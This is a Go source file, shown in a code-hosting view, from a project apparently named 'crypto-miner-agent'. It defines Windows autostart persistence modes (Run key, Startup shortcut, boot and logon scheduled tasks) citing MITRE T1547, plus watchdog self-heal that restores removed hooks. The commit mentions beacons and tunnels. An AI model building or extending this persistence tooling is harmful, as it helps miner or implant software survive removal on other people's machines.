Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
102 lines
2.7 KiB
Go
102 lines
2.7 KiB
Go
// Package deploy autostart hooks (Windows, MITRE T1547-style).
|
|
//
|
|
// Triggers:
|
|
// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks)
|
|
// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing)
|
|
// - Uninstall / removePersistence → removeAutostartExtras
|
|
//
|
|
// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user".
|
|
package deploy
|
|
|
|
import (
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// Autostart mode values (baked at forge time via AutostartMode).
|
|
// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user".
|
|
const (
|
|
AutostartNone = "none"
|
|
AutostartLogonRun = "logon_run"
|
|
AutostartLogonStartupFolder = "logon_startup_folder"
|
|
AutostartBootTask = "boot_task"
|
|
AutostartLogonTask = "logon_task"
|
|
AutostartAll = "all"
|
|
)
|
|
|
|
func runAsHasBuiltInPersistence(runAs string) bool {
|
|
switch strings.ToLower(strings.TrimSpace(runAs)) {
|
|
case "scheduled", "service", "bits", "host_binary":
|
|
return true
|
|
default:
|
|
return false
|
|
}
|
|
}
|
|
|
|
// effectiveAutostartModes returns persistence hooks to install/heal for this forge.
|
|
// Install + watchdog self-heal both use this list.
|
|
func effectiveAutostartModes(cfg config.RuntimeConfig) []string {
|
|
raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode))
|
|
var modes []string
|
|
if raw == "" || raw == "legacy" {
|
|
if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) {
|
|
modes = []string{AutostartLogonRun}
|
|
}
|
|
} else if raw == AutostartNone {
|
|
modes = nil
|
|
} else if raw == AutostartAll {
|
|
modes = []string{
|
|
AutostartLogonRun,
|
|
AutostartLogonStartupFolder,
|
|
AutostartBootTask,
|
|
AutostartLogonTask,
|
|
}
|
|
} else {
|
|
for _, part := range strings.Split(raw, ",") {
|
|
part = strings.TrimSpace(part)
|
|
if part == "" || part == AutostartNone {
|
|
continue
|
|
}
|
|
modes = append(modes, part)
|
|
}
|
|
}
|
|
return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg)))
|
|
}
|
|
|
|
func dedupeRegistryRunOverlap(modes []string) []string {
|
|
hasLegacy := false
|
|
hasHKCU := false
|
|
for _, m := range modes {
|
|
if m == AutostartLogonRun {
|
|
hasLegacy = true
|
|
}
|
|
if m == RegistryHKCURun {
|
|
hasHKCU = true
|
|
}
|
|
}
|
|
if !hasLegacy || !hasHKCU {
|
|
return modes
|
|
}
|
|
out := make([]string, 0, len(modes))
|
|
for _, m := range modes {
|
|
if m == RegistryHKCURun {
|
|
continue
|
|
}
|
|
out = append(out, m)
|
|
}
|
|
return out
|
|
}
|
|
|
|
func autostartBootTaskName(cfg config.RuntimeConfig) string {
|
|
return PersistenceKeyName(cfg) + "-Boot"
|
|
}
|
|
|
|
func autostartLogonTaskName(cfg config.RuntimeConfig) string {
|
|
return PersistenceKeyName(cfg) + "-Logon"
|
|
}
|
|
|
|
func autostartStartupShortcutName(cfg config.RuntimeConfig) string {
|
|
return PersistenceKeyName(cfg) + ".lnk"
|
|
}
|